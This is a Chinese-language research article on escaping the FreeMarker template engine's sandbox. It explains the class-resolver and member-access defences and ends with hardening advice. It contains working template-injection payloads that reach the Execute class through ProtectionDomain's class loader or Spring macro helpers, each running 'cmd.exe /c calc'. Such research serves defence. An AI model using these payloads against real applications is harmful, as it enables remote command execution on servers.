FreeMarker 沙箱绕过研究
文章前言
FreeMarker 中维护了一个 freemarker-core/src/main/resources/freemarker/ext/beans/unsafeMethods.properties 黑名单类,用于对模板渲染过程中的类方法进行检查。此检查主要通过在解析模板文件之前设置配置项的 NewBuiltinClassResolver 来实现。
防御措施
FreeMarker 存在编辑模板功能时,为了防止模板注入通常会使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制内建函数对类的访问(从 2.3.17 版开始)。该配置有以下三种参数:
- UNRESTRICTED_RESOLVER:可以通过
ClassUtil.forName(String)获得任何类 - SAFER_RESOLVER:禁止加载
ObjectConstructor、Execute和freemarker.template.utility.JythonRuntime这三个类 - ALLOWS_NOTHING_RESOLVER:禁止解析任何类
示例攻击载荷
<#assign test = "freemarker.template.utility.Execute"?new()>
${test("cmd.exe /c calc")}
当使用上述攻击载荷时,会报如下错误信息:
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
沙箱绕过方法
2.3.30 以下版本绕过
方式1:绕过 class.getClassloader 反射加载 Execute 类
可以使用 java.security.protectionDomain 的 getClassLoader 方法来获得类加载器,随后再一步一步反射调用 Execute 类。
Payload 构造:
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec, null)("cmd.exe /c calc")}
其中 <<object>> 需要替换为数据模型中存在的对象变量名。
方式2:Spring Beans 可用时直接禁用沙箱
此 payload 需要 FreeMarker + Spring 并设置 setExposeSpringMacroHelpers(true) 或在 application.properties 中配置 spring.freemarker.expose-spring-macro-helpers=true。
Payload:
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}
2.3.30 以后版本绕过
FreeMarker 在 2.3.30 中引入了一个基于 MemberAccessPolicy 的新沙箱,默认使用 DefaultMemberAccessPolicy。漏洞防护需要同时配置 new-builtin-class-resolver,否则用最初的 payload 即可攻击。
在 2.3.30 及以上版本中,ProtectionDomain.getClassLoader 已被加入黑名单(在 DefaultMemberAccessPolicy-rules 文件中)。
关键安全配置分析
DefaultMemberAccessPolicy-rules 文件
该文件定义了详细的访问控制规则,主要规则类型:
- whitelistPolicyIfAssignable:该类型及其子类型的成员只能访问已列入白名单的成员
- blacklistUnlistedMembers:未列出的成员将被列入黑名单
重要限制示例:
# Disallowed since 2.3.30:
java.security.ProtectionDomain.getClassLoader()
java.lang.Class.getClassLoader()
java.lang.reflect.Method.invoke(java.lang.Object,java.lang.Object[])
java.lang.reflect.Constructor.newInstance(java.lang.Object[])
java.lang.reflect.Field.get(java.lang.Object)
结论
- 如果使用 FreeMarker 并给予编辑模板权限,除非 FreeMarker 版本在 2.3.30 及以上并配置
new-builtin-class-resolver,否则均可被攻击 - 即使满足上述条件,如果
expose-spring-macro-helpers为 true,依然可以执行命令 - 最佳实践是:
- 升级到最新版本
- 配置
new-builtin-class-resolver - 设置
spring.freemarker.expose-spring-macro-helpers=false - 限制模板编辑权限
参考链接
Room For Escape Scribbling Outside The Lines Of Template Security